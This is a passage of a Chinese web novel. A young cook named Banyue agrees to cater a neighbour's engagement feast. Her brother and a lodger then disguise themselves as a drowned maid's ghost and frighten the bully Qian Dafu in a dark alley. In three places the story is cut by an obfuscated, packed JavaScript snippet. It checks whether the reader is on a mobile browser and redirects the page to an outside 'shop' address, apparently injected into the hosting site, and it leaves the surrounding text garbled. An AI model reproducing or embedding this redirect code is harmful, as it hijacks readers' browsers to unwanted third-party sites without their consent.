回到瓦窑村的时候,日头已经从屋顶上斜过去了,院子里的枣树影子拉得老长。 沈金宝正坐在院子里劈柴,听见院门响,他抬起头,目光从半月脸上扫到刘翠兰脸上,又看见她们带出去的瓦罐少了一个,食盒歪在竹篮里,刘翠兰眼眶红红的,眼泡有点肿。 他手里的斧头顿了一下,心中隐约有不好的猜测。 “回来了?”他撑着墙站起来,没多问,走上前接过半月手里的竹篮,帮着把东西往灶房里搬。竹篮比出门时轻了不少,食盒盖子磕掉了一小块漆。 半月把鱼骨和豆腐拎进灶房,像往常一样舀水洗菜、切姜片、生火。灶膛里火苗子舔着锅底,噼啪响了几声。 刘翠兰跟在后面,在灶房门口站了一会儿,看着沈金宝把竹篮搁在灶台旁边。她几次张嘴,嘴唇翕动着,最后只挤出一个字:“你……” “嗯?”沈金宝回过头。 刘翠兰却又把话咽了回去。她别过脸,拿围裙揩了一下眼角,转身进了灶房,蹲在灶前帮半月添柴。 她心里头乱得很,这小子是沈家的人,胖丫在沈家遭过大难,差点没命。可他又救过胖丫,帮当家的挡过沙包,冬生的束脩也是靠他给的租子才交上的。可今天钱大富在码头上砸摊子,说到底还是因为他。 她叹了口气,不想再想了,半月已经受了委屈,家里实在经不起再折腾了。 灶房里响起锅碗碰撞的声音,半月把鱼骨下了锅,姜片丢进去,“滋啦”一声,白气腾起来,鲜味开始在灶房里弥漫。 沈金宝靠在灶房门框上,看了一会儿。半月的侧脸被灶火映得发红,手腕子一翻一翻地搅着锅里的汤,动作和平时没什么两样。可灶台上的盐罐子放歪了,她也没扶正。这不像是她。 他蹙起眉头,想问,又从不知从何问起。站了片刻,到底没出声,转身回了院子里。他弯腰捡起斧头,对准面前一根粗柴,一斧劈下去。 咔嚓——!木头裂成两半。 力道比刚才重了不止一分。 鱼汤刚熬上,院门就被人一把推开了。 “胖丫啊!胖丫——” 王婶子人还没进院子,大嗓门就把墙头的麻雀震飞了两只。她风风火火地跨进院子,脸涨得通红,额前的碎发都被汗黏在脑门上,围裙都没解,一看就是从家里直接跑过来的。 半月从灶房探出头来,手里还拿着搅汤的长木勺。王婶子一把抓住她胳膊,上上下下打量了一圈:“你啷个样?伤到没有?” “婶子,我没事……”半月话还没说完,王婶子就拍着大腿骂开了。 “我听说了码头上的事!你们遭那个砍脑壳的钱大富欺负了!”她唾沫星子横飞,一巴掌拍在自己大腿上,“欺负你们俩母女算啥子本事?脸都揣□□里了?要是我在场,看我不一扁担敲他龟儿子脑壳上!” “婶子,没事了。”半月笑着打断她,“他赔了银子,事情已经过去了。” “赔银子就完了?这个挨千刀的东西,仗着家里有几个臭钱,就敢这么欺负人,我呸!”王婶子双手叉腰,狠狠啐了一口。 这夹枪带棒的一通骂,把半月给听笑了。刘翠兰也从灶房里出来,手里还端着洗菜的盆子,听王婶子骂得痛快,忍不住接上了话。 “可不是嘛。”刘翠兰把菜盆往石桌上一搁,水溅出来也不管,拿围裙擦着手。 “你是没看到,当着那么多人的面踢翻摊子,瓦罐也砸了,鱼冻也摔了,白花花的汤泼了一地呀……”她说着说着声音就低了,眼眶又泛了红,“我们胖丫天不亮就起来熬的,他倒好,一脚就……” 王婶子几步上前拉住她的手:“翠兰啊,你别怕,我跟你说,我娘家侄子在县衙当差,改天我让他去说道说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520294|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道……” 刘翠兰憋了一天,在码头上怕给半月添麻烦一直忍着,回来对着沈金宝又说不出口,这会儿终于找到个能说话的知心人。 她拉着王婶子的手坐下来,你一言我一语,把钱大富从头到脚骂了个遍。从钱大富他爹那间黑心粮铺说起,一直骂到钱大富那身绸衫穿在他身上跟披了块抹布似的。 沈金宝在旁边劈柴,斧头一下一下落着。他听着听着就把事情听全了,脸上的笑不知什么时候收了个干净。她们骂一句,他眉头就往紧里拧一分。 等听到钱大富让半月跪下的时候,他手里的斧头狠狠劈下去。 咔嚓!那根碗口粗的柴火从中间裂成两半。 骂够了,王婶子一拍脑门:“哎哟,差点儿把正事搞忘了!” 她从怀里摸出一块粗布,打开来,里面是一张叠得四四方方的红纸,红纸边角有点皱了,但上面的烫金喜字还是亮闪闪的。 “我家柱子,亲事定下来了。”王婶子眉开眼笑,眼角的褶子挤成了花。 “女方是隔壁桂花村的,姓周,那姑娘我见过了,人勤快,模样也周正,说话轻声细语的,配我家那个闷葫芦正好。下个月初六办定亲宴,就在家里摆三桌,请的都是自家亲戚,加起来三十来口人。” 她把红纸往半月手里一塞:“胖丫,我寻思着,找别人做席面我不放心。镇上那几个厨子,做的菜咸的咸淡的淡,还鼻孔朝天,工钱死贵!你手艺好,那回你做的鱼汤,我喝了一口就忘不了,你那手艺,做席面肯定也是这个。”她竖了个大拇指。 半月接过红纸,看了一眼日子,下个月初六,还有大半个月。 “胖丫,材料我们家出,工钱你看多少合适?” 她心里飞快地盘算了一下,三桌席面,备料、切配、掌勺,忙活一整天,工钱怎么也得…… “三十六文,您看合适吗?”半月问。 “成!”王婶子一巴掌拍在自己大腿上。 “”就按你说的办!这价钱比镇上厨子便宜多了。等办完了定亲宴,婶子这张嘴你放一百个心,保管给你满村宣传。谁家要办席,我头一个就说胖丫!” 半月笑了笑:“谢谢婶子。材料您出,那您家里打算备些什么食材呢?” 王婶子搓了搓手,嘿嘿笑了两声:“胖丫,婶子跟你实话实说,家里头不宽裕,荤腥有,但不多。鸡是自己养的,好几只,随时能杀。地里的菜管够,萝卜白菜豆角茄子,你要什么提前说。鸡蛋也有,攒了半筐了。就是……” 她顿了顿,有些不好意思:“鱼和肉还得劳烦你。你天天跑码头,晓得哪家鱼新鲜、哪家肉实在。鱼要鲜的,肉要肥瘦相间的,但不能买多了,婶子兜里的铜板就那几个。” 半月点点头:“成,鱼和肉我买,到时候把账记清楚,您再给我就是。” “还有豆腐。”王婶子又补了一句,“你常买的那家孙大娘,她卤水点的少,豆腐嫩得很,上回我家柱子吃了直说好。你帮我也带几块。” “那菜……”王婶子往前探了探身子,眼睛巴巴地看着她,“你看做几个合适?” 17. 有猫腻啊 半月没急着答,低头看着手里那张红纸,心里盘算了一下。 “三桌席面,我给您做三凉五热,加一个汤,凑九个菜,寓意长长久久,吉利。” 王婶子眼睛一亮,掰着手指头数了一遍:“三凉五热?还有一个汤?九道菜!够体面了,比我想的还多!我家柱子真是烧高香了,定亲宴能摆出九道菜来!” “荤腥不多,但菜要多做点,让人吃得饱。”半月笑了笑,“凉菜开胃,热菜实在,末了一碗热汤配饭,齐活儿。” “那就这么定了!”王婶子一拍大腿,喜滋滋地说,“到时候忙不过来,我给你打下手!” 半月笑道:“好,要是忙不过来,婶子您搭把手,帮我烧烧火。” 王婶子愣了一下,随即笑得更欢了:“行,都听你的。我烧火,你掌勺,婶子给你当一回烧火丫头!” 王翠花又拉着刘翠兰絮叨了好一阵,让她帮忙记好日子,又顺嘴骂了钱大富两句,才风风火火地走了。她的大嗓门在巷子里还响了好一阵,跟隔壁邻居又打了两声招呼才渐渐远了。 灶房里安静下来。 半月蹲在灶前添柴,心里已经在排菜了。凉菜得有鱼冻,还有……她上辈子做过一道蒜泥白肉,肉切得薄如纸,蒜泥醋汁一浇,酸辣开胃。这个朝代不知道有没有人这么吃?不管了,先记上。 日头刚落山,李有福就回来了。他把扁担靠墙放好,在石墩上坐下来,摸出旱烟袋点上,沉默地吸着。烟雾从他嘴里吐出来,在晚风里散了。 没一会儿,李冬生也到了家。 他把书袋往门槛上一扔,脸涨得通红,眼睛瞪得圆圆的,一进门就嚷开了:“那个钱大富,他凭什么砸咱家摊子?孙夫子说码头上有人欺负我姐和我娘,我书都没背完就跑回来了!”?” 李冬生几步冲到石桌边,拳头捏得咯咯响,眼圈发红,仰着脸看着正在摆碗筷的半月:““胖丫,你告诉我,他有没有打你?娘有没有伤着?” 半月把他按在板凳上,给他倒了碗水:“没人受伤,他赔了银子,事情过去了。” “赔银子就完了?”李冬生把碗往桌上一顿,水溅出来半碗,“他欺负我姐欺负我娘,我饶不了他!” 李有福磕了一下烟锅,抬眼看向李冬生,嘴唇动了动,终究没说出什么,他垂下眼皮,把烟杆攥得更紧了些。 刘翠兰从灶房里出来,在李冬生后脑勺上拍了一下,不轻不重:“你能饶得了谁?你一个半大娃儿,书都没念完,能拿人家怎样?好好读你的书,别给家里惹事。” “娘!”李冬生梗着脖子,“你忍了我忍不了!胖丫伤才好多久?那几十板子才消下去,又有人来欺负她——” 李冬生声音硬了,他低下头,两手紧拽着衣角,肩膀微微发抖。他嘴上不服气,腮帮子鼓鼓的,嘴里还小声嘟囔着:“等我长大了,谁欺负咱家人,我让他十倍还回来。” 沈金宝坐在院子里,手里劈柴的动作顿了顿,他看了眼李冬生,眼珠子转了转,垂下眼皮,把斧头搁在膝盖上,像是在想什么事情。 晚饭摆上来的时候,李冬生还是一副气鼓鼓的样子。他端起碗扒了两口,就把筷子搁下了,坐在板凳上一声不吭。 “不吃了?”刘翠兰问。 “不饿。” 半月看了他一眼,没拆穿,这孩子分明是气的吃不下。她夹了一块枣糕搁在李冬生碗边,也没说话,继续端碗扒饭。 吃完饭后,李冬生蹲在院子角落里,拿树枝在地上练字。写了两笔就把树枝戳进蚂蚁洞里,一下一下的,戳得又狠又深,土坷垃都翻了出来。 沈金宝撑着木拐走过去,在他旁边蹲下来。 “你什么时候放旬假?”他问。 李冬生愣了一下,扭头看他:“三日后,你问这个做什么?” 沈金宝左右瞥了一眼,压低了声音:“耳朵伸过来。” “干嘛?”李冬生蹙着眉一脸狐疑,却还是把脑袋凑了过去。 沈金宝往李冬生那边凑了凑,贴着他耳朵说了几句:“三日后,你跟我……” 李冬生的眉头先是拧成一个疙瘩,然后慢慢松开,再然后眼睛倏地亮了。 “好!”他重重点了下头,声音里带着一股按捺不住的兴奋。 沈金宝勾了勾唇,扶着木拐站直身体,拍了拍膝盖上的木屑,没再多说一句,一瘸一拐地往柴房走。走到门口,他停下来,回头补了一句:“别告诉你姐。” “嘿嘿,知道!”李冬生咧着嘴应了一声,那股子憋了一晚上的闷气忽然有了出口,整个人都活泛了。 半月端着一盆洗锅水从灶房里出来,正好看见李冬生蹲在院子里,笑嘻嘻地跟沈金宝挤眉弄眼。一个笑得贼兮兮的,一个瘸着腿往柴房里缩。 “你俩在嘀咕什么呢?”半月问。 “没什么!”李冬生蹭地站起来,两步抢过来,一把夺过她手里的铁锅。 “我去倒我去倒!胖丫你歇着,你都累一天了!”话音没落地,人已经端着铁锅蹿出去老远了,锅底的黑灰蹭了他一袖子。 半月看着李冬生一溜烟跑出院子,又瞥见沈金宝正急急地关柴房门。门板吱呀一声合上了,门缝里那道瘦长的影子一闪,不见了。 她站在院子里,手里还保持着端锅的姿势。这俩人今天一个比一个反常,是在打啥主意?半月总觉得哪里不对,但又说不上来。 她摇了摇头,转身进了灶房。灶上的鱼汤还在咕嘟咕嘟地滚着,白气从锅盖缝里一股一股地往外冒。她掀开盖子搅了两下,把火调小了些,开始收拾明天出摊要用的碗碟。 接下来三天,日子过得和往常一样。 半月天不亮就起来熬鱼汤,然后搭牛车去码头。生意比之前好了一截,码头上的工人大多认得她了,远远看见她提着瓦罐过来,就有人扯着嗓子喊:“胖丫头来了!” 排队的时候也不催,蹲在墙根底下一边等她摆摊一边唠嗑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522780|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 天气一天比一天冷,河面上的风刮过来能往骨头缝里钻。半月不再做鱼冻了,这种天气,工人们就是想喝口热的,凉菜摆出来也没人伸筷子。刘翠兰便不再跟她去码头,留在家里忙地里的活计,翻地、拔草、给新洒的菜种盖上干稻草。 沈金宝这阵子把家里大半的家务揽了过去。劈柴、刷碗、打扫院子。他脚好了不少,走路已经不用拄木拐了,只是左脚踏地的时候还稍微轻那么一点,微微跛着。 李冬生放学回来就缠着他练字,两个人趴在石桌上,一个写一个练,时不时斗几句嘴。 “这一撇歪了。” “你才歪了,我这叫有风格。” “风格?狗啃泥也有风格。” “……” 李冬生嘴上不服软,但半月好几次收拾石桌的时候,看见他偷偷把沈金宝写的那几张字折好了夹在书袋里,当字帖描。 三天的时间一晃就过去了。 …… 第四天一早,李冬生破天荒没等人叫。天还灰蒙蒙的,灶房里的火刚生起来,他就从屋里出来了。换了件干净利落的短褐,像是着急出门,连早饭都比平时少喝了半碗粥,筷子刚放下就说饱了。 沈金宝还是那件洗得发白的旧长衫,斜斜靠在院门口等他,手指头有一搭没一搭地敲着门框。 李冬生朝灶房喊了一嗓子:“娘!我跟金宝哥出去一趟!”喊完不等回话,拉着沈金宝就往院门外走,拉了两步想起来他腿还没好全,又放慢了步子。 刘翠兰从灶房窗口探出头来:“早点回来!” 半月端着粥碗走到院子门口,看着两个人的背影慢慢往村口走。沈金宝走得不快,李冬生走两步就停下来等他,也不催,难得没急得跺脚。两个人并肩走了一段,李冬生忽然凑过头去说了句什么,沈金宝偏头回了一句,李冬生便咧着嘴笑,肩膀一耸一耸的。 “神神秘秘的。”半月嘀咕了一句,转身回了灶房,把碗搁进灶台边的水盆里。 上回在码头,赵虎叔带着人往那儿一站,钱大富才夹着尾巴跑了。不止赵叔,那天帮忙的还有好几个工人,有的她叫不上名字,只知道是跟李有福一起扛活的叔伯。这些天一直忙,还没正正经经谢过人家。 今天她特地多熬了一罐鱼汤。汤里比平时多搁了两条鲫鱼,火候也吊得更久,端起来能闻到一股浓得化不开的鲜味。她把瓦罐用布裹了好几层保温,装进竹篮里,挎着出了门。 码头上正忙,两条货船靠岸,跳板被踩得咯吱咯吱响,工人们扛着麻袋来来往往,号子声一声接一声。河风吹过来,混着麻袋上的灰尘和河水里翻上来的鱼腥。 李有福刚卸完一船货,正站在阴凉处拿汗巾擦脖子。他肩上的粗布衣裳被麻袋磨出了两个破洞,里头露出一截红印子,是扛了几个月的沙包才磨出来的。 他接过半月递来的竹筒,他仰头灌了几口,喉结一上一下。 “胖丫,你咋来了?”他抹了把嘴。 18. 教训钱大富 “给赵叔和叔伯们送碗汤。”半月把瓦罐从竹篮里搬出来,掀开裹在外面的粗布,揭开盖子一角。鱼汤的热气“呼”地冲上来,白花花的水雾在河风里散开,旁边一个正蹲着歇气的工人吸了吸鼻子,脖子不自觉地往这边扭。 李有福这才反应过来,赶紧把竹筒搁下,在衣襟上蹭了蹭手。 他向来只晓得闷头干活,从没张罗过请谁吃饭、送谁东西,如今见闺女想得比他还周全,心里头熨帖得很,嘴上却说不出来,只嘿嘿笑了两声,拿手挠了挠后脑勺。 “老李!你闺女来了!”一个精瘦的老工人眼尖,远远喊了一嗓子,几个人放下扁担围过来看热闹。 赵虎正站在跳板边上指挥卸货,一只手指着货堆让人往东边码,另一只手叉在腰上。听见这边动静,他把胳膊上搭着的汗巾扯下来往肩上一甩,大步流星地走了过来。 他黑脸膛,浓眉毛,步子又沉又稳,往人堆里一站,旁边那几个工人自动往两边让了半步。 半月大大方方地把瓦罐往前一推:“赵叔,上回的事还没正经谢过您和叔伯们,家里熬的鱼汤,天冷,喝碗暖和暖和,别嫌弃。” 赵虎愣了愣,低头看了看那罐汤,汤色奶白,豆腐丁在里头浮浮沉沉,野葱碎碧绿的一撮漂在面上,热气直往他鼻子里扑。 他仰头哈哈笑了两声,声量能在码头上砸个回音:“老李!你这闺女,将来可了不得!码头上这么多后生,哪个有她这份心?”说完了,他又转头朝半月竖起大拇指:“丫头,你有这份心,我收下了!” “呵呵……”李有福站在原地憨憨地笑,一会儿抓抓后颈,一会儿扯扯衣角,脸上带几分窘迫,眼底的笑意却更深了。 “都过来!”赵虎朝货船那边吆喝了一嗓子,声如洪钟,几个工人闻声放下手里的活计凑了上来,“老李家闺女给咱送汤来了——都尝一口!一人一碗,别白瞎了人家的心意!” 勺子递过去,你一碗我一碗。鱼汤奶白,野葱翠绿,混着姜的辛辣。有人喝得呼噜响,有人端着碗蹲在一边慢慢品,嘴上没停,全是夸的。 赵虎从半月手里接过满满一碗,勺子在碗底刮了一下,低头吹了两口气,灌了一大口。他咂咂嘴,眯了眯眼,又喝了一口。 这回没急着咽,搁在嘴里品了品,眼角的褶子跟着往上提了提。然后他把碗底都仰干净了,才抬起头来看半月。 “胖丫头,你这手艺,在码头上摆摊可惜了。”他把碗递给旁边的工人,“镇上要是有合适的铺面,你租一个,比在这儿风吹日晒强。” 半月把空碗一只一只摞进竹篮里,笑着摇了摇头:“铺面租金太贵了,租不起。” 赵虎没接话。他往四周扫了一圈,码头上人多嘴杂,扛活的、挑担的、摆摊的挤成一锅粥。 他往半月近旁挪了半步,肩膀微微侧过来,嗓门压得只有两个人能听见:“我给你透个信,码头上这些摊子,过阵子怕是有变数。上边有人提了,要统一定规矩。往后这摊位让不让摆、怎么摆、收不收钱,就由不得咱们了。” 半月心跳加速了一下,手停在半空中,一只碗搁在竹篮边上没放稳,晃了两晃。 “什么时候开始收?收多少?是所有摊子都收还是——” 话没问完,码头那头传来船靠岸的号子声。跳板还没搭稳,监工已经在岸上扯着嗓子喊开了:“都过来都过来!这船天黑前得卸完!” 赵虎把汗巾从肩上扯下来,朝货船那边扬了扬下巴,对半月说了最后一句:“啥时候收、收多少,现在还没定。你就当有这回事,心里头先盘算着,总比事到临头慌了手脚强。” “喝完了就干活!”他转身大步朝货船走去,一边走一边冲工人们吆喝,“船不等人!天黑前卸不完,晚饭全给我推后一个时辰!” 工人们赶紧放下碗,拿袖子抹了把嘴,往货船走。 李有福把碗搁进半月的竹篮里:“胖丫,我们先去忙了。”说完扛起扁担小跑着跟上去了。 半月把空瓦罐和碗筷收进竹篮,用粗布裹严实了,挎上胳膊往回走。 一路上,赵虎那句话在她脑子里翻来覆去地转。真要收摊位费,这生意就多了一笔固定开销,扛着吧利太薄,涨价吧又不好跟那些扛活的工人开口,人家一天才挣十五文。 她越想越远,要是连摊位费都赚不出来,就得另找铺面,可铺面租金更贵,一押就是小半年,她手头那点铜板哪里够。想到这里,她赶紧打住了。事情还没个准信,现在愁这些也没用,等真有了消息再说。 到家的时候,灶房顶上的烟囱正冒着青烟。刘翠兰坐在灶前择菜,脚边搁着一篮子萝卜缨子,黄叶子一片一片掐掉。半月把竹篮放在石桌上,四下扫了一眼,院子里空荡荡的。 “娘,冬生和沈金宝呢?” “早上就出去了,还没回来。”刘翠兰头也没抬,手指一掐一扭,把一片黄叶子落进脚边的簸箕里。 “两个神神秘秘的,也不知道干什么去了。” 半月皱了皱眉,想起早上李冬生拉着沈金宝出门时的兴奋劲儿,总觉得有些怪。但她没再问,把空瓦罐从竹篮里拿出来清理,心里又开始琢磨铺面的事。 日头渐渐偏西,天色暗下来。枣树影子从院墙根爬到石桌上,又往灶房门口漫过去,最后融进了沉沉的暮色里。 大庙镇东街,钱家粮铺后院外头的窄巷子。 巷子窄得只容两个人侧身错开,两边墙头支棱着几根枯草,风一吹就簌簌地响。地上积着半干不干的泥,踩上去软塌塌的。 沈金宝靠着墙根站着,月光从房檐的豁口漏进来一线,刚好落在他眉骨上,把半张脸切成了明暗两半。他从怀里摸出一块叠得四四方方的白布和一小包东西,递给李冬生。 李冬生接过来,打开那小包,里头是一撮白色的粉,不知道是石灰还是墙灰。 他抬头看沈金宝,眼珠子在暗处亮晶晶的,压着嗓门却压不住那股子紧张劲儿:“这啥东西?面粉?” “别管啥东西,抹就是了。”沈金宝把白布抖开,“衣裳外头披上,脸上抹白,头发拆散了。披的时候把布角扯到前面来,走路不要抬脚,用拖的。”他说得又低又快,不断叮嘱。 李冬生点了点头,把手指往粉里一戳,往脸上抹。手有点抖,蹭得满脸白一道灰一道,额头上一块白的,下巴上还是肉色,跟花猫似的。 沈金宝皱了皱眉,把白粉拿过来,直接拍在他脸上。指腹搓了两下,从鼻梁往两边抹匀了,又在他眼窝和颧骨下面多拍了两下,让阴影处显得凹下去一块,像人脱了相。 然后他退后半步上下打量了一番,把白布往李冬生身上一披,扯了扯布角让它在风里能飘起来。 夜里这巷子气口密,风是打着旋进来转出去的,布一飘,影子跟着活了 “头发。”沈金宝提醒。 李冬生扯掉束发的布条,把头发揉散了披在脸上。他个子矮,白布一裹,站在巷子里,夜色从两边墙头压下来,衬得整个人惨白兮兮的,有些渗人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527543|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈金宝打量了他一眼,满意了。 他往后退了一步,背靠在对面的墙上,声音放得更低:“两年前,钱家有个叫莲儿的丫鬟投井死了。就死在钱大富院里。对外说是自己想不开,底下人都传是钱大富喝醉了酒对她动手动脚,逼死了她,那丫鬟投井的时候,穿的就是白衣裳。” “啊?真的吗?”李冬生吓得咽了口唾沫。 “真假不重要,能装成莲儿吓住他就成。”沈金宝把袖子往上提了提,露出半截手腕,“等会儿你说话要夹着嗓子,要细,要飘,像个年轻女人。不用编词儿,就喊冷,喊黑,喊他下去陪你。” 他顿了顿,自己示范了一下。嘴角没怎么动,喉咙里却飘出一个幽幽的声音,拖长了调子:“少爷~井里~好~冷~啊~” 李冬生脊背一凉,打了个激灵,往后缩了半步:“金、金宝哥,你学过?” “听戏时看过。”沈金宝没多解释。 他把身子往墙上一靠,下巴朝巷口的方向点了点:“记住,头发别全遮脸,露出半边眼睛,另外半边用白布蒙住。等钱大富从巷口过来,你先蹲着,等他走三步再站起来,不要跳,要慢慢起,像从地里长出来一样,声音别太清晰,越含糊他越怕。” 李冬生重重地点了点头,依言蹲在墙根底下。白布堆在地上,他把膝盖缩进布里,整个人团成小小一团,只露出一双眼睛在暗处一闪一闪的。 沈金宝退到更暗的角落里,巷子深处堆着几捆发霉的稻草,他挨着稻草蹲下来,整个人融进暗处,只留一道窄窄的侧脸轮廓,在月光照不到的角落里一动不动。 他最后叮嘱了一句:“不管他说什么,你都别慌。我一直在这儿。” 巷子里安静下来,只有风吹过墙头枯草的簌簌声,和远处街口偶尔传来的一声狗叫。 没过多久,巷口传来拖拖沓沓的脚步声。先是一股酒气飘进来,浓郁得连墙缝里的蛐蛐都噤了声,然后是钱大富那件湖蓝绸衫在月光底下晃了一下。 他抱着个小酒坛子拐进巷子,脸涨得通红,走起路来七扭八歪,嘴里哼着不成调的曲子,哼了两句又停下来打了个酒嗝。 一步,两步,三步…… 李冬生忽然从墙根站起来,白布在风里飘了一下,他低着头,头发遮着半边脸,另外半边白惨惨的,眼窝凹着一团黑,脚尖在地上拖着,发出沙沙的声响。 钱大富眯着眼往前看了好几秒,没看清,又歪着头往前走了一步,酒气从嘴里往外直喷。 “谁?谁在那儿?”声音含含糊糊的,舌头打着卷。 李冬生没动,他慢慢抬起头,露出一只眼睛,黑漆漆的,不眨,一动不动地盯着钱大富。 钱大富的步子顿住了,揉了揉眼睛。巷子深处一团白影,头发乱蓬蓬飘在脸前,看不清脚,白布在地上一拖一拖的,像是整个人浮在泥地上。 他“啧”了一声,只当是哪个不长眼的乞丐挡了路,竖起眉毛骂道:“哪儿来的乞丐?敢挡小爷的路?滚开!” 李冬生没说话,缓缓往前迈了一步。脚在地上拖着,鞋底蹭着石板,发出沙沙的响声。那声音不高,可在窄巷子里听起来格外清楚,像什么东西在泥土里爬。 钱大富看清了那身白布,眉头皱得更紧。酒意让他胆子比平时壮,见对方不让,反而更恼了:“装神弄鬼!小爷在这镇上活了二十年,什么没见过?你再不走,我叫人把你扔河里去!” 李冬生躲在白布底下,心跳得咚咚响。完了完了,露馅了! 19. 尿裤子了 “喵~”沈金宝藏在暗处发出一声猫叫。 李冬生听到声音,定了定心神,他停下脚步,微微抬起头,张了张嘴。 他按沈金宝教的,把嗓子夹得又细又飘,像个年轻女子在嘤嘤地哭:“少~爷~莲儿~好冷啊……” 这一声出来,钱大富愣住了。那声音又细又薄,贴着墙根飘过来,在空巷子里从四面八方往他耳朵里钻。 他后背忽然窜起一股凉意,手里的酒坛子晃了晃,几滴酒溅在自己鞋面上,嘴上还在硬撑:“什、什么莲儿……你、你到底是什么人?” 李冬生又往前迈了一步,把头发拨开一点,露出的那只眼睛死死盯着他,再次开口:“少~爷~井里…好…黑…啊~” 钱大富脸色唰地白了。 他院子里就有一口井,前年有个叫莲儿的丫鬟不愿从他,被他罚在井边跪了一宿,第二天一早就投了井。捞上来的时候,穿着白衫子,头发散着,脸泡得发白。他平时从不提这事,也没人敢在他面前提,可此刻眼前的景象和脑子里的画面忽然对上了。 他的嘴唇开始哆嗦:“你、你是……” 李冬生不答话,只是又往前走了一步。双手从白布里伸出来,十指张开,指甲上被沈金宝抹了白粉,月光底下像一根根枯骨。他拖着哭腔重复着:“少~爷~你下来~陪我~吧~” 钱大富腿一软,整个人靠在了墙上。墙上的寒气从后背往里渗,酒坛子啪地掉在地上碎成几瓣,酒水顺着石板缝淌开。他现在看那团白影,怎么看怎么像那天井里泡着的人影。 “不、不是我……是你自己想不开……我、我没逼她……”他终于哆哆嗦嗦挤出一句话,声音已经完全变了调,舌头打结,唾沫星子喷在嘴唇上也不擦,“我、我给你烧纸,多烧纸,买最好的……你别找我……求你了你别找我……” 李冬生又往前逼了一步,但他太紧张了,脚底下没看清,绊到了一块翘起的石板,“哐当”一声身子晃了一下,差点摔倒。 本能地伸手扶墙,手掌拍在砖墙上,发出实实在在啪一声脆响——手劲太大,墙上簌簌掉下来一层灰。 钱大富愣了一瞬。他眯起眼睛盯着那只扶墙的手。手指短粗,骨节分明,手背上还有几道泥印子,那分明是孩子的手,活人的手。而且那一下拍墙的声音,太扎实了,鬼不该有手劲,鬼拍墙不该有声响。 “你不是鬼!”钱大富猛地拔高了嗓门,恐惧一下子翻成了恼怒,指着李冬生大喊,“你踏妈是活人!谁派你来的?谁?老子剥了你的皮!” 李冬生心里一慌,腿肚子发软,脑子里只剩一个念头,跑!可脚像钉在地上一样动不了,手指抠着墙缝,后背全是冷汗。 就在这时,巷子深处传来一声幽冷的叹息。 “钱~少~爷……” 声音比李冬生的更低、更沉,像从地底下渗出来的,带着一股阴风。沈金宝整个人靠在墙根的阴影里,只露出披头散发的半张脸,那张脸被他自己抓散的头发遮了大半,月光照不到的暗处,两只眼睛阴森森发着绿光。 钱大富猛地回头,看见阴暗处那两只发光的绿眼睛,魂都快飞了:“莲、莲儿……” “哈哈哈哈……”巷子里响起令人头皮发麻的笑声。 沈金宝那懒洋洋的嗓音被捏成了一根弦,听着不男不女,飘飘忽忽:“钱少爷~你以为烧纸就有用了吗?井里好黑~好冷~水泡着你的衣裳~你下来~自己看看~” 话音未落,半空中忽然飘下一把纸钱,纷纷扬扬,落了钱大富满头满脸。那是沈金宝事先用竹竿挑着的一包纸钱,趁钱大富愣神的工夫捅破了袋子。 李冬生反应过来,抓住机会猛地往前跳了一大步,跳到钱大富面前,张开嘴尖叫了一声:“还——我——命——来!” 这一声又尖又利,在巷子里回荡了好几秒。 钱大富再也撑不住了,扑通一声跪在地上,膝盖磕在碎酒坛子片上也不知道疼。 他双手抱着头浑身哆嗦:“莲、莲儿…我不敢了…再也不敢了!我给你烧香、给你磕头、给你跪一辈子,我吃斋念佛积阴德,求你饶了我…饶了我吧!” 一股尿骚味在巷子里弥漫开来。 李冬生本能地捂了一下鼻子,沈金宝从阴影里站出来,拽了一把他的袖子,低声道:“够了,走!” 两个人一前一后快步往巷子另一头走,沈金宝一瘸一拐,但速度前所未有的快。李冬生跑了两步又回头,看见钱大富还跪在地上,冲着空无一人的巷子咚咚磕头。 两人一口气跑出两条街,月亮已经升到头顶了,石板街上一个人都没有,只有远处传来‘梆梆’打更的声音。 李冬生弯着腰大口喘气,额头上全是汗,把脸上的白粉冲得一道一道的,白布扯下来抱在怀里,露出一张花猫似的脸。 他喘着粗气抬头看沈金宝,又想起钱大富跪在地上磕头的蠢样,终于没忍住,“扑哧”一声笑了出来,笑得弯了腰,半天直不起来。 “金、金宝哥……他、他尿裤子了!你闻到没有?” “闻到了。”沈金宝靠着树干喘了几口气,拿袖子蹭了一把下巴上的汗,“你那一嗓子差点把我魂也喊飞了。” “不是你教的嘛!”李冬生直起腰,抹了把脸,眼睛亮晶晶的,那股子憋了好几天的气总算顺了,“让他欺负我姐!让他砸我家摊子!今天这一吓,他以后睡觉都得睁只眼!” 沈金宝勾了勾嘴角,把脚边那块白布捡起来抖了抖,折好塞回怀里。 